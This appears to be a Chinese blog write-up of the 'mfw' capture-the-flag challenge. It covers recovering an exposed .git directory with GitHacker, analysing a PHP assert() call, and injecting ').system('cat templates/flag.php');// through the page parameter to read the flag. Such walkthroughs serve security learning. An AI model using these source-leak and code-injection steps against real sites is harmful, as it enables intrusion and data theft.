攻防世界mfw--详细笔记

发布于:2023-02-12 ⋅ 阅读:(637) ⋅ 点赞:(0)

打开之后发现有关于gif,php和bootstrap的信息,于是想到是不是又git源码

地址栏后面加.git

http://61.147.171.105:61123/.git/

发现存在git目录,使用kali的githacker下载,第一次使用需要安装

pip3 install GitHacker 

 githacker --url http://61.147.171.105:61123/ --output-folder 123

 下载后得到目录文件

经查找只有index存在信息,打开index.php查看代码

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
        <head>
                <meta charset="utf-8">
                <meta http-equiv="X-UA-Compatible" content="IE=edge">
                <meta name="viewport" content="width=device-width, initial-scale=1">
                
                <title>My PHP Website</title>
                
                <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
        </head>
        <body>
                <nav class="navbar navbar-inverse navbar-fixed-top">
                        <div class="container">
                        <div class="navbar-header">


关键代码段                                                                                                                     

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

分析:

 assert("xxxxxxxx")函数表示截断,会直接运行其中xxxxx代码,如果xxxxx运行结果为true,则程序继续运行,如果返回false,则返回错误程度中断运行。

strpos函数表示strpos('$a', '$b')如果变量a中存在变量b,则返回true,否则返回false

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//这个语句用于过滤..

or 和die的作用是如果assert函数执行正确的话,会返回true(这其实就

是“真”),后面的语句就不会执行了。如果assert函数执行失败,就会返回false,那么就会判断后面的表达式是否为真了。

结果执行了die()之后,不管返回什么,程序都已经停止执行了,并且显示指定的出错信息,也就达到了调试的目的。

根据此语句可以构造php代码注入

先用phpinfo试一下

http://61.147.171.105:61123/?page=’).phpinfo();//

使用system函数构造载荷

?page=').system('cat templates/flag.php');//

接在一起就是

assert("strpos(').system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

执行后打开flag.php

查看网站源码后得到flag

<!--?php $FLAG="cyberpeace{d98815545c367222f2e6db4cd679fe18}"; ?--> 

思路参考自网上,有误请多指导

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到